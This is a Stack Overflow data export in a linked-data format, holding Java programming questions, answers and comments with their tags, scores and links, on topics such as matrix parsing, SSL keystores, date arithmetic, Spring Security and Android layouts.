has body: this is an homework question but I have been working at it for quite a while and I must be getting slightly blind so I would really appreciate help spotting an error. public class Maze { int[][] grid; private final int TRIED = 2; private final int PATH = 3; public Maze(String fileName) throws IOException { BufferedReader in = new BufferedReader(new FileReader(fileName)); String s; String [] aux= new String [2]; int x=0; aux=in.readLine().split("\\s*[, .]\\s*"); int dimensao=Integer.parseInt(aux[0]); String [][] gridString= new String [dimensao][dimensao]; grid= new int[dimensao][dimensao]; while ((s=in.readLine())!=null){ gridString [x]=s.split("\\s*[,.]\\s*"); x++; System.out.println(s); } System.out.println(); for (int i=0;i&lt;gridString.length;i++){ for(int j=0;j&lt;gridString[0].length;j++){ System.out.print(gridString[i][j]+" "); switch (gridString[i][j]) { case "true": grid[i][j]=1; break; case "false": grid[i][j]=0; break; } } System.out.println(); } for (int i=0;i&lt;grid.length;i++){ for(int j=0;j&lt;grid[0].length;j++){ System.out.print(grid[i][j]); } System.out.println(); } } and in another class class I invoke it using this an input: 5 true, false, true, false, false true, false, true, true, true false, false, false, false, true true, true, false, true, true false, false, false, true, false The goal is to convert into an integer matrix with "true" being represented by 1 and "false" being 0. Things is my output is this 10100 10110 00000 11010 00010 And I just cant figure out what happened to the "true" values on tha last column.
accepted answer: http://stackoverflow.com/a/22284541
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33854326
has title: Need help spotting an error in my code regarding reading a matrix through a buffer
has comment: http://stackoverflow.com/comment/33854004
has comment: http://stackoverflow.com/comment/33854093
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33854227
has answer: http://stackoverflow.com/a/22284541
tagged with: java

http://stackoverflow.com/q/22230815
has comment: http://stackoverflow.com/comment/33758439
answer count: 1
downvote count: 1
favorite count: 0
has body: I create with Keytool a serverkeystore.jks with 2 different pwd for store and key, but i get java.security.UnrecoverableKeyException: Cannot recover key unless I edit one of them and put the same value in both How can i modify my code to allow 2 different pass? : SSLServerSocket sslserversocket=null; try { System.setProperty("javax.net.ssl.keyStore", serverKeyStore); System.setProperty("javax.net.ssl.keyStorePassword", pwdStore); SSLServerSocketFactory sslserversocketfactory = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault(); sslserversocket = (SSLServerSocket) sslserversocketfactory.createServerSocket(port); [...] thanks in advance ^^
has title: Java Server SSL with different storepass and keypass
has answer: http://stackoverflow.com/a/22233824
tagged with: keystore
accepted answer: http://stackoverflow.com/a/22233824
upvote count: 0
tagged with: java
type: Question
type: AnsweredQuestion
tagged with: ssl
score: -1

http://stackoverflow.com/comment/33840827
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22276921
has text: Or there is not enough continuous/virtual memory, something 32-bit Windows can have a problem with. The heap has to be continuous in virtual memory.
type: Comment

http://stackoverflow.com/a/22208528
answers question: http://stackoverflow.com/q/22207772
upvote count: 2
type: Answer
score: 2
downvote count: 0
has body: NoClassDefFoundError is thrown when a compiled-in "hard" dependency on a class is unsatisfied at runtime. In other words, there's a class that's directly mentioned in your source code, and it was on the classpath at compile time, but it's not on the classpath at runtime. ClassNotFoundException is thrown when you try to look up a class dynamically at runtime and it can't be found. In this case the class name wasn't directly referenced in your source code; instead it was specified as a string, which your application may have read from someplace like a configuration file. It's an Exception instead of an Error because this situation is one that the application may be able to reasonably recover from — just like the FileNotFoundException that you get when you try to open a file that doesn't exist. Both of these can be caused by having something missing from your runtime classpath, but ClassNotFoundException can also be caused by application-level configuration problems causing your application to try to load classes that it shouldn't.

http://stackoverflow.com/comment/33923505
type: AnswerComment
has text: Thks that make sense. Let me check
type: Comment
comment on: http://stackoverflow.com/a/22322908
score: 0

http://stackoverflow.com/comment/33899403
comment on: http://stackoverflow.com/a/22309258
score: 0
type: AnswerComment
has text: What if have the code in a method called EvenOdd, and call it from the main method? It's still non recursive right?
type: Comment

http://stackoverflow.com/a/22247923
has comment: http://stackoverflow.com/comment/33789725
has comment: http://stackoverflow.com/comment/33789788
score: 2
has body: Your code looks like your Age, Salary etc. variables are all stored as references to the same variables in your array, so that every iteration of the for loop actually accesses the same references and therefore at the end you have five entries in the array which point at the same values in the memory and changing one actually changes all. Try to create local variables which are scoped to the for loop to populate the array.
downvote count: 0
answers question: http://stackoverflow.com/q/22247733
type: Answer
upvote count: 2

http://stackoverflow.com/comment/33828562
has text: @RohitJain interestingly the duplicate found is also asked by same OP.. :) and no one downvoted that question. Btw I am not the downvoter.
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22270431

http://stackoverflow.com/a/22312456
score: 5
has body: You have: for (int i = 0; i &lt;= a.length; i++) You probably mean: for (int i = 0; i &lt; a.length; i++) As accessing a[a.length] will always lead to an ArrayIndexOutOfBoundsException (valid index range is [0, a.length-1]). You could also use this syntax to eliminate the possibility of that mistake, if you don't actually need to do anything with the index itself in the loop: for (int value : a) summa += value; All of this, of course, assumes a != null.
upvote count: 5
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/22312420

http://stackoverflow.com/comment/33692770
has text: then please try setting this setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);
comment on: http://stackoverflow.com/a/22195444
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/34211986
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22268604
has text: IPlayer is in the external jar team2.jar in the lib directory

http://stackoverflow.com/q/22193566
linked to: http://stackoverflow.com/q/9894361
has body: Is there any Java Library available for comparison of videos? If not, any other language library that is useful for video comparison will work. Any help would be appreciated.
has comment: http://stackoverflow.com/comment/33690117
favorite count: 0
linked to: http://stackoverflow.com/q/17090453
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33690149
has comment: http://stackoverflow.com/comment/33689602
has comment: http://stackoverflow.com/comment/33690046
has comment: http://stackoverflow.com/comment/33689890
tagged with: video
answer count: 0
score: 1
tagged with: java
upvote count: 1
has title: Java Library for Video Comparison
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/33690448

http://stackoverflow.com/a/22232370
has comment: http://stackoverflow.com/comment/33759289
has comment: http://stackoverflow.com/comment/33759537
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33759581
accepted answer of: http://stackoverflow.com/q/22232313
has comment: http://stackoverflow.com/comment/33759360
type: Answer
has comment: http://stackoverflow.com/comment/33759846
answers question: http://stackoverflow.com/q/22232313
has body: After you call encrypt you get Byte array, so your cipherText can be byte[][] cipherText, and then to see it just call System.out.println(new String(cipherText[i])); EDIT NPE is raised because you didn't initialized your cipherText array. Please try the following: byte[][] cipherText = new byte[splited.length][];
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33759795
has comment: http://stackoverflow.com/comment/33759638

http://stackoverflow.com/comment/33656654
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22175170
has text: Try just adding the attribute (the two last lines I posted above). It should at least cause a different error to show up in Transformer.
type: Comment

http://stackoverflow.com/comment/33675945
type: AnswerComment
has text: @user3380414 You've also got to remember that the size of a font (in pixels) will be different between different platforms/rendering pipelines, making it very difficult to rely on a layout manager to accurately line up the separate images. Remember, you should never try to achieve pixel perfect layouts, it will just keep byting your in the rear...
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22185053

http://stackoverflow.com/comment/97836221
has text: Replacing any number of slashes: ```.replaceAll("(?<!(http:|https:))/+", "/");```
type: Comment
score: 8
comment on: http://stackoverflow.com/a/22173901
type: AnswerComment

http://stackoverflow.com/q/22242897
has answer: http://stackoverflow.com/a/30859478
has comment: http://stackoverflow.com/comment/33779095
has answer: http://stackoverflow.com/a/22480712
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22480712
tagged with: java
has body: I want to use com.google.android.collect.List in my apk. But I don't understand which library I should include in the project. I see that this class must be in frameworks/base/core. And I think that frameworks/base/core is included in framework.jar or framework2.jar. But, framework.jar and framework2.jar from my phone contains odex files, and Android Studio can't use it. Can anyone explain to me how to use classes from frameworks/base/core in apk? In addition, how I understand android sdk don't include frameworks/base/core.
has comment: http://stackoverflow.com/comment/33779841
has comment: http://stackoverflow.com/comment/33779203
answer count: 2
has comment: http://stackoverflow.com/comment/33779214
has comment: http://stackoverflow.com/comment/33781118
score: 0
linked to: http://stackoverflow.com/q/2535953
tagged with: android
tagged with: apk
possible better answer: http://stackoverflow.com/a/30859478
tagged with: android-studio
has title: How to use com.google.android.collect.list in Android Studio

http://stackoverflow.com/comment/33876196
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22296679
score: 0
has text: @fge This code is right and working,I have used it,u copy it and run

http://stackoverflow.com/comment/33751865
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22226744
has text: Only JUnit4 is in the classpath, you can see it has its own junit.framework in the picture I attached, that's probably the backwards compatibility code. I used `import static org.junit.Assert.*;` thats why `assertArrayEquals` was known at compile time. Right now I am surfing the net to find out why at runtime it is not found even if its library is in the classpath. Meanwhile using full package path `org.junit.Assert.assertArrayEquals()` is working.

http://stackoverflow.com/comment/33786640
score: 1
type: Comment
has text: Try to set the port, change `emailStore.connect(pop3Host, user, password);` to `emailStore.connect(pop3Host, 995, user, password);` The problem still is that no connection to the server can be established.
comment on: http://stackoverflow.com/a/22247069
type: AnswerComment

http://stackoverflow.com/comment/33750689
type: Comment
type: QuestionComment
score: 0
has text: Thanks @radai, that fixed the problem. I listed JAVA_HOME before %SystemRoot%\System32 and `java -version` now correctly returns "java version "1.6.0_45"
comment on: http://stackoverflow.com/q/22227445

http://stackoverflow.com/comment/33804556
type: QuestionComment
type: Comment
has text: Again, I'm not familiar with the exact calculation you're doing, but for example: If you take a matrix, invert it, then invert it again -- if you don't have enough precision, your calculation will be susceptible to round-off error, and the resulting matrix might differ from the original. Maybe similar in concept to what you are experiencing. Try doing all your calculations using doubles, making sure you aren't rounding off anywhere and see if it matters.
score: 1
comment on: http://stackoverflow.com/q/22256096

http://stackoverflow.com/a/22178882
answers question: http://stackoverflow.com/q/22178688
has body: In most cases I encourage people to use braces wherever they can; that is never to use: if(x) y = z; and always to use: if(x) { y = z; } However, "if else" is a solid idiom, so it's the exception to that rule: if(x) { ... } else if(y) { ... } else { ... } ... is well formatted code, and is equivalent to: if(x) { ... } else { if(y) { ... } else { ... } } ... which is messier, and has scope for misplaced braces which change the logic.
score: 0
type: Answer

http://stackoverflow.com/q/22195093
has answer: http://stackoverflow.com/a/49231146
has answer: http://stackoverflow.com/a/22195142
has answer: http://stackoverflow.com/a/41749937
linked to: http://stackoverflow.com/q/38922754
has answer: http://stackoverflow.com/a/22196016
answer count: 16
has answer: http://stackoverflow.com/a/22195292
has answer: http://stackoverflow.com/a/23577551
has answer: http://stackoverflow.com/a/49300719
score: 36
upvote count: 36
has answer: http://stackoverflow.com/a/22195156
downvote count: 0
has answer: http://stackoverflow.com/a/51137413
favorite count: 0
accepted answer: http://stackoverflow.com/a/22195142
has answer: http://stackoverflow.com/a/22195331
has body: In my android application. I need to display tomorrow's date, for example today is 5th March so I need to display as 6 March. I know the code for getting today's date, month and year. date calculating GregorianCalendar gc = new GregorianCalendar(); yearat = gc.get(Calendar.YEAR); yearstr = Integer.toString(yearat); monthat = gc.get(Calendar.MONTH) + 1; monthstr = Integer.toString(monthat); dayat = gc.get(Calendar.DAY_OF_MONTH); daystr = Integer.toString(dayat); If I have the code dayat = gc.get(Calendar.DAY_OF_MONTH) + 1; will it display tomorrow's date. or just add one to today's date? For example, if today is January 31. With the above code, will it display like 1 or 32? If it displays 32, what change I need to make?
tagged with: android
has answer: http://stackoverflow.com/a/22195159
has answer: http://stackoverflow.com/a/49300563
type: AnsweredQuestion
has title: Android how to get tomorrow's date
possible better answer: http://stackoverflow.com/a/22195170
tagged with: java
has answer: http://stackoverflow.com/a/48491760
has answer: http://stackoverflow.com/a/22195170
tagged with: calendar
has answer: http://stackoverflow.com/a/22195169
type: Question
has answer: http://stackoverflow.com/a/68186435

http://stackoverflow.com/q/22216545
has answer: http://stackoverflow.com/a/22216601
type: Question
accepted answer: http://stackoverflow.com/a/22216592
has answer: http://stackoverflow.com/a/22216599
score: -2
possible better answer: http://stackoverflow.com/a/22216599
upvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22216592
has answer: http://stackoverflow.com/a/22216658
answer count: 4
type: AnsweredQuestion
has body: I'm relatively new to this and any help would be great. For my homework I'm supposed to make a Triangle and a TriangleTester class that manipulates values inputed using scanner to find the length of a triangles sides, angles, perimeter, etc. I'm not asking you to do my homework but maybe point me in the right direction. This is just a small part but it keeps me from continuing. What I can't figure out is how to get the variables that I input move across methods (if that makes sense. Here's my Triangle code: import java.math.*; import java.util.Scanner; public class Triangle { private double A, B, C, D, h; public double x1, x2, x3, y1, y2, y3; public double lengthA, lengthB, lengthC; private double angleA, angleB, angleC; private double calcPerimeter, calcArea, getHeight; //Create new Triangle public Triangle(){ } //to get length of a (AB) use A = (x1, y1) &amp; B = (x2,y2) public double getLengthC(){ double distance = Math.sqrt((Math.pow((x1-x2),2))+(Math.pow((y1-y2),2))); return distance; } } Here is my TriangleTester code: import java.util.Scanner; public class TriangleTester { public static void main(String[]args) { Triangle triangle1 = new Triangle(); Scanner scan = new Scanner(System.in); System.out.println("Enter x1 for point A"); double x1 = scan.nextDouble(); System.out.println("Enter y1 for point A"); double y1 = scan.nextDouble(); System.out.println("Enter x2 for point A"); double x2 = scan.nextDouble(); System.out.println("Enter y2 for point A"); double y2 = scan.nextDouble(); System.out.println("Enter x3 for point A"); double x3 = scan.nextDouble(); System.out.println("Enter y3 for point A"); double y3 = scan.nextDouble(); System.out.println("Set up a Triangle with coordinates " +"("+x1+","+y1+")"+ ","+ "("+x2+","+y2+")" +","+ "("+x3+","+y3+")"); System.out.println("Length of side c " + triangle1.getLengthC()); } } For testing purposes I would like to input the values: 0 0 4 0 3 3 and have the length of side c calculate to a 4. I see that when I use the …
tagged with: java.util.scanner
tagged with: java
downvote count: 2
has title: Scanner Input not working when methods are called

http://stackoverflow.com/q/22309614
tagged with: arrays
has answer: http://stackoverflow.com/a/22309907
tagged with: string
has title: Sorting Strings in an Array by Char
has comment: http://stackoverflow.com/comment/33899765
possible better answer: http://stackoverflow.com/a/22309907
has answer: http://stackoverflow.com/a/22309675
has comment: http://stackoverflow.com/comment/33900159
type: AnsweredQuestion
score: 0
has body: I'm trying to sort a list of strings in array into alphabetical order without using the sort method. public static String[] sortedAdjectives(String[] original) { String[] sortedArray; int aValue = 65; String word = ""; sortedArray = new String[25]; for(int i = 0; i &lt;25; i++) { original[i]=word; char c = word.charAt(0); sortedArray[c-aValue]=word; } return sortedArray; Is my method, and public static void main(String[] args) throws FileNotFoundException { Scanner names = new Scanner(new File("names.txt")); Scanner adjectives = new Scanner(new File("adjectives.txt")); String[] adjectiveArray; adjectiveArray = new String[25]; int counter = 0; while (counter&lt;25) { String in = adjectives.next(); fixCapitalization(in); //method that fixes capitalization adjectiveArray[counter]=in; counter++; } sortedAdjectives(adjectiveArray); Is where I put the items from the file into an array. I'm getting Exception in thread "main" java.lang.StringIndexOutOfBoundsException: String index out of range: 0 at java.lang.String.charAt(Unknown Source) at Hmwk.sortedAdjectives(Hmwk.java:56) at Hmwk.main(Hmwk.java:24) When I try to run my program and I can't figure out where I'm going wrong. If you could point me in the right direction i'd be much appreciative. Thanks for your time.
type: Question
accepted answer: http://stackoverflow.com/a/22309675
tagged with: java
tagged with: sorting
tagged with: char
answer count: 2

http://stackoverflow.com/comment/33986775
comment on: http://stackoverflow.com/a/22182830
type: Comment
has text: @siegi I agree. But StackOverflowError can happen at *any* method call. SQLException can only happen when thrown. You can narrow down on the cases for SQLException in a way that is often not possible with StackOverflowError
score: 0
type: AnswerComment

http://stackoverflow.com/a/22247644
answers question: http://stackoverflow.com/q/22247538
score: 1
has comment: http://stackoverflow.com/comment/33787694
has body: You can create and array of arrays like this: String[][] arrays = { array1, array2, array3, array4, array5 }; But, alternatively, you could create a class that has those attributes, don't know if that's what you want to do.. public class Something{ String[] Livraison; String[] Facturation; String[] Autres; }
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22247538
downvote count: 0

http://stackoverflow.com/q/22306864
tagged with: spring
has title: Spring security custom authentication how to access firstname and lastname
tagged with: spring-mvc
tagged with: java
type: Question
has body: I am using custom authentication using credentials and ipaddress, however, I need to display user firstname and lastname on UI. Whereas I am not using UserDetails and I am using UsernamePasswordAuthenticationToken, how can I get access to firstname and lastname, where UserDetails bean saved in Details. Account account = (Account)accountDao.loadUserByUsername(username); if(!account.getPassword().equals(password)) { logger.debug("[USER AUTHENTICATION]Invalid Password:"+password); return null; } logger.warn(String.format("[USER AUTHENTICATION]%s %s",new Object[]{account.getFirstName(),account.getLastName()})); isAuthenticatedByIP = false; for(AllowedIPAddress allowedIpAddress:account.getAllowedIPs()){ if(allowedIpAddress.getIpAddress().equals("0.0.0.0")||allowedIpAddress.getIpAddress().equals(userIPAddress)) { isAuthenticatedByIP = true; break; } } // Authenticated, the user's IP address matches one in the database if (isAuthenticatedByIP) { logger.debug("[USER AUTHENTICATION]isAuthenticatedByIP is true, IP Addresses match"); UsernamePasswordAuthenticationToken result = null; result = new UsernamePasswordAuthenticationToken(account.getUsername(), account.getPassword(), account.getAuthorities()) ; result.setDetails(account); return result } else { logger.warn("[USER AUTHENTICATION]User IP not allowed "+userIPAddress); } how to get fields of account in jsp for displaying welcome message for user.
score: 0
has comment: http://stackoverflow.com/comment/33914695
answer count: 1
has comment: http://stackoverflow.com/comment/33896541
tagged with: spring-security
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22316162

http://stackoverflow.com/q/22253079
possible better answer: http://stackoverflow.com/a/22255834
has comment: http://stackoverflow.com/comment/33802533
accepted answer: http://stackoverflow.com/a/22253282
has answer: http://stackoverflow.com/a/22255834
answer count: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33797361
has body: I'm interested in parsing a Drools rule file using regular expressions. Having a string with the content of the whole .drl file, I'd like to have 4 substrings: A substring with the content of &lt;name&gt; A substring with the content of &lt;attribute&gt; A substring with the content of &lt;conditional element&gt; A substring with the content of &lt;action&gt; A Drools rule has the following structure, according to the official documentation: rule "&lt;name&gt;" &lt;attribute&gt;* when &lt;conditional element&gt;* then &lt;action&gt;* end I've tried using this pattern, but it hasn't worked well: ^rule"(.|\n|\r|\t)+"(.|\n|\r|\t)+\bwhen\b(.|\n|\r|\t)+\bthen\b(.|\n|\r|\t)+\bend\b?$ Does anyone have an idea of how could I proceed?
has title: Parse Drools rule file with Java regex
tagged with: regex
score: 2
type: AnsweredQuestion
upvote count: 2
type: Question
tagged with: drools
has answer: http://stackoverflow.com/a/22253282
tagged with: java

http://stackoverflow.com/comment/33727982
has text: You'd probably get the desired sequence if you did `System.out.flush();` at the end of your synchronized block.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22213595

http://stackoverflow.com/a/55259529
answers question: http://stackoverflow.com/q/22307516
has body: Before running the command try entering: export JAVA_HOME="path_to_java_home" Where path_to_java_home is the folder where your bin/java is. If java is properly installed you can find it's location, by using the command: readlink -f $(which java) Don't forget to remove bin/java from the end of the path while putting it into JAVA_HOME
downvote count: 0
type: Answer
upvote count: 3
score: 3

http://stackoverflow.com/q/22178133
accepted answer: http://stackoverflow.com/a/22178304
has title: Polymorphism inside constructors in Java
upvote count: 2
has body: Code: class A{ A() { test(); } void test(){ System.out.println("from A"); } } class B extends A { void test() { System.out.println("from B"); } } class C { public static void main(String args []){ A a = new B(); a.test(); } } Output: from B from B Why is it getting printed that way ?
has answer: http://stackoverflow.com/a/22178153
has comment: http://stackoverflow.com/comment/33662376
type: Question
has answer: http://stackoverflow.com/a/22178224
has answer: http://stackoverflow.com/a/22178181
has comment: http://stackoverflow.com/comment/33662436
linked to: http://stackoverflow.com/q/18138397
tagged with: java
answer count: 6
possible better answer: http://stackoverflow.com/a/22178247
has comment: http://stackoverflow.com/comment/33662204
has answer: http://stackoverflow.com/a/22178247
downvote count: 0
has comment: http://stackoverflow.com/comment/33662239
favorite count: 0
has answer: http://stackoverflow.com/a/22178304
has comment: http://stackoverflow.com/comment/33662375
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22178324

http://stackoverflow.com/a/22200953
answers question: http://stackoverflow.com/q/22200654
has body: Server exits from the while( ( bytesRead = inFromClient.read( buffer ) ) != -1 ) { baos.write( buffer, 0, bytesRead ); } loop when client closes the connection. Try to close the connection from client side by using close() call. This way: outToServer.write(hashedBytes); clientSocket.close();
has comment: http://stackoverflow.com/comment/33702867
accepted answer of: http://stackoverflow.com/q/22200654
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/22197593
answer count: 3
has title: Java web service : User defined meta-data
accepted answer: http://stackoverflow.com/a/22206460
score: 0
tagged with: web-services
has answer: http://stackoverflow.com/a/22199581
possible better answer: http://stackoverflow.com/a/22199509
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22199509
tagged with: java
tagged with: jax-ws
tagged with: jboss
has body: I have a SOAP web service implementation on Jboss 4.2.3. I want to add a version number check for the service. Whenever a client makes a call, I will pass the client version number. I will write an interceptor at the server that would check the client version number. If it is a client with a different version number, I would not process the request. What I want to know is if there is a way to pass the version number from the client in some context parameter other than adding it in the web service method signature? In general, if I want to pass some custom META-DATA from client to server, how do I do it ?
type: Question
has answer: http://stackoverflow.com/a/22206460

http://stackoverflow.com/comment/33837811
type: AnswerComment
score: 0
type: Comment
has text: so p.waitFor() means I should wait for the process to finish, in my case to create the file, and then I can read that file right?
comment on: http://stackoverflow.com/a/22275245

http://stackoverflow.com/a/22222120
downvote count: 0
has comment: http://stackoverflow.com/comment/33740613
type: Answer
answers question: http://stackoverflow.com/q/22222085
accepted answer of: http://stackoverflow.com/q/22222085
score: 1
has body: byte i=-1; From comments: Unsigned right-shifting, in Java, causes unary promotion to int: the byte 0xff becomes the int 0xffffffff, which is then right-shifted to 0x7fffffff and narrowed to 0xff for storage.
upvote count: 1
has comment: http://stackoverflow.com/comment/33740884
has comment: http://stackoverflow.com/comment/33741182
type: AcceptedAnswer

http://stackoverflow.com/comment/33924066
type: Comment
type: QuestionComment
has text: Why AWT rather than Swing? See my answer on [Swing extras over AWT](http://stackoverflow.com/a/6255978/418556) for many good reasons to abandon using AWT components.
score: 0
comment on: http://stackoverflow.com/q/22292505

http://stackoverflow.com/comment/33843480
comment on: http://stackoverflow.com/q/22278379
score: 0
type: Comment
type: QuestionComment
has text: You're missing your `Character` class and you need to implement _all_ the `KeyListener` methods to make it a _real_ MCTaRE ;)

http://stackoverflow.com/comment/33781612
score: 0
type: AnswerComment
type: Comment
has text: Infinite loops = very bad!
comment on: http://stackoverflow.com/a/22236181

http://stackoverflow.com/a/22238011
answers question: http://stackoverflow.com/q/22237752
accepted answer of: http://stackoverflow.com/q/22237752
has body: You should set the new image to the ImageView like this: imagem = (ImageView)findViewById(R.id.imageBody); imagem.setImageResource(R.drawable.my_image); Also note that method rgsexo.getCheckedRadioButtonId() doesn't give you an id from R class, but the id you need to set to the button via setId(int id) method before, i.e. in xml layout file. Maybe it's better to differ your two buttons in group via index as follows: int radioButtonID = radioButtonGroup.getCheckedRadioButtonId(); View radioButton = radioButtonGroup.findViewById(radioButtonID); int idx = radioButtonGroup.indexOfChild(radioButton); So the whole method would be: private String interpretIMC(float imcValue) { imagem = (ImageView)findViewById(R.id.imageBody); rgsexo = (RadioGroup)findViewById(R.id.rgSexo); int selectedId = rgsexo.getCheckedRadioButtonId(); // get the id View radioButton = radioButtonGroup.findViewById(radioButtonID); int idx = radioButtonGroup.indexOfChild(radioButton); switch (idx) // switch on the button selected { case 0: if (imcValue &lt; 20) { imagem.setImageResource(R.drawable.slim); return "Abaixo do Peso"; } else if (imcValue &lt; 24.9) { imagem.setImageResource(R.drawable.normal); return "Peso Normal"; } else if (imcValue &lt; 29.9) { imagem.setImageResource(R.drawable.fat); return "Acima do Peso"; } else if (imcValue &lt; 39.9) { imagem.setImageResource(R.drawable.fat); return "Obesidade Moderada"; } else { imagem.setImageResource(R.drawable.fat); return "Obesidade Mórbida"; } break; case 1: if (imcValue &lt; 19) { return "Abaixo do Peso"; } else if (imcValue &lt; 23.9) { return "Peso Normal"; } else if (imcValue &lt; 28.9) { return "Acima do Peso"; } else if (imcValue &lt; 38.9) { return "Obesidade Moderada"; } else { return "Obesidade Mórbida"; } break; } }
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33771613

http://stackoverflow.com/comment/33882913
comment on: http://stackoverflow.com/q/22299229
has text: I guess the other point to make here is that lookups are inherently non-robust. The preferred way to do this is using CSS.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33840259
score: 10
has text: Maybe post your code how you create the array. It is not clear from the description what you are trying to achieve.
type: Comment
comment on: http://stackoverflow.com/q/22276621
type: QuestionComment

http://stackoverflow.com/a/25945556
answers question: http://stackoverflow.com/q/22240406
score: 7
has comment: http://stackoverflow.com/comment/41053303
has body: Edit: someone converted the following text, which I had added as an edit on the question, into an answer, which I appreciate, and understand may be the proper SO thing to do, however I do not consider this an answer because it's clearly not the right way to do it. I would not ever use this code nor would I advise anyone to copy it. Other/better solutions and comments welcome! I was able to solve this with the following. I didn't realize you could flatMap an observable more than once, I assumed results could only be consumed once. So I just flatMap f2Observable twice (sorry, I renamed some stuff in the code since my original post), then zip on all the Observables, then subscribe to that. That Map in the zip to aggregate the values is undesirable because of the type juggling. Other/better solutions and comments welcome! The full code is viewable in a gist. Thank you. Future&lt;Integer&gt; f2 = executor.submit(new CallToRemoteServiceB()); Observable&lt;Integer&gt; f2Observable = Observable.from(f2); Observable&lt;Integer&gt; f4Observable = f2Observable .flatMap(new Func1&lt;Integer, Observable&lt;Integer&gt;&gt;() { @Override public Observable&lt;Integer&gt; call(Integer integer) { System.out.println("Observed from f2: " + integer); Future&lt;Integer&gt; f4 = executor.submit(new CallToRemoteServiceD(integer)); return Observable.from(f4); } }); Observable&lt;Integer&gt; f5Observable = f2Observable .flatMap(new Func1&lt;Integer, Observable&lt;Integer&gt;&gt;() { @Override public Observable&lt;Integer&gt; call(Integer integer) { System.out.println("Observed from f2: " + integer); Future&lt;Integer&gt; f5 = executor.submit(new CallToRemoteServiceE(integer)); return Observable.from(f5); } }); Observable.zip(f3Observable, f4Observable, f5Observable, new Func3&lt;String, Integer, Integer, Map&lt;String, String&gt;&gt;() { @Override public Map&lt;String, String&gt; call(String s, Integer integer, Integer integer2) { Map&lt;String, String&gt; map = new HashMap&lt;String, String…
upvote count: 7
type: Answer
has comment: http://stackoverflow.com/comment/60872662
downvote count: 0

http://stackoverflow.com/a/27933775
has comment: http://stackoverflow.com/comment/122679089
score: 33
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22270994
has comment: http://stackoverflow.com/comment/126774988
has body: If you have a Region, which is a subclass of Node that includes Axis, Chart, Control, and Pane (this probably includes anything you might want to load), you can bind the child's size to the space in the parent similar to how they did here. Now any future adjustments of the parent's size will be reflected in the child. Region n = (Region)loader.load(); mainContent.getChildren().add(n); n.prefWidthProperty().bind(mainContent.widthProperty()); n.prefHeightProperty().bind(mainContent.heightProperty());
upvote count: 33

http://stackoverflow.com/q/22307585
tagged with: android
has comment: http://stackoverflow.com/comment/33896193
favorite count: 0
has title: How can I randomly place ImageButtons and prevent them from overlapping?
has comment: http://stackoverflow.com/comment/33899537
answer count: 1
has comment: http://stackoverflow.com/comment/33898852
tagged with: java
downvote count: 3
score: -3
has comment: http://stackoverflow.com/comment/33898670
has body: I want to create array for ImageButton to prevent the overlapping of my objects and I want to add it after params.height. So my question is how to do that? Here is my code so far: public class Play extends Activity implements OnClickListener { final Context context = this; MediaPlayer mplayer; MediaPlayer mplPlayer1; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_play); text = (TextView) this.findViewById(R.id.textView2); countDownTimer = new MyCountDownTimer(startTime, interval); text.setText(text.getText() + String.valueOf(startTime / 1000)); RelativeLayout rl = (RelativeLayout) findViewById(R.id.RelativeLayout1); rl.setBackgroundResource(R.drawable.background); /* * for-loop creates my imagebutton and then i place them in random * position but the problem is that its overlapping too much So how to * prevent it? */ for (int i = 0; i &lt; 10; i++) { ImageButton btn = new ImageButton(this); btn.setBackgroundResource(R.drawable.apple); RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams( LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT); btn.setLayoutParams(params); params.width = 83; params.height = 80; int left = (int) (Math.random() * 1024 + 83); int right = (int) (Math.random() * 600 + 20); if (left == 600 &amp; right == 600) { params.setMargins(left, 10 + 2, right, 0); } else params.setMargins(left, 50 - 1, right, 0); btn.setLayoutParams(params); rl.addView(btn); btn.setId(i); btn.setOnClickListener(this); } } }
has comment: http://stackoverflow.com/comment/33899691
upvote count: 0
type: UnansweredQuestion
tagged with: imagebutton
has answer: http://stackoverflow.com/a/22310015
type: Question
has comment: http://stackoverflow.com/comment/33899556

http://stackoverflow.com/comment/33680793
type: Comment
has text: @David, I am sorry if I did not understand your question. If your point is how to protect data from getting shared among threads (a typical scenario in web apps where threads are reused), sparty02's answer tells how to take care. In fact, one of my previous applications, we put a spring interceptor to make sure data from thread local is removed before response is written back. Anyways, my original question is still semi-answered in the sense I am still kind of confused which one is the correct approach.
type: QuestionComment
comment on: http://stackoverflow.com/q/22185956
score: 0

http://stackoverflow.com/a/22244893
score: 1
has body: In your client code I think you have to change the condition of the while loop: while(in.available()==0) { System.out.println("Unavailable..."); } System.out.println("Received : " + in.read() ); in.close()
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22244807
type: Answer
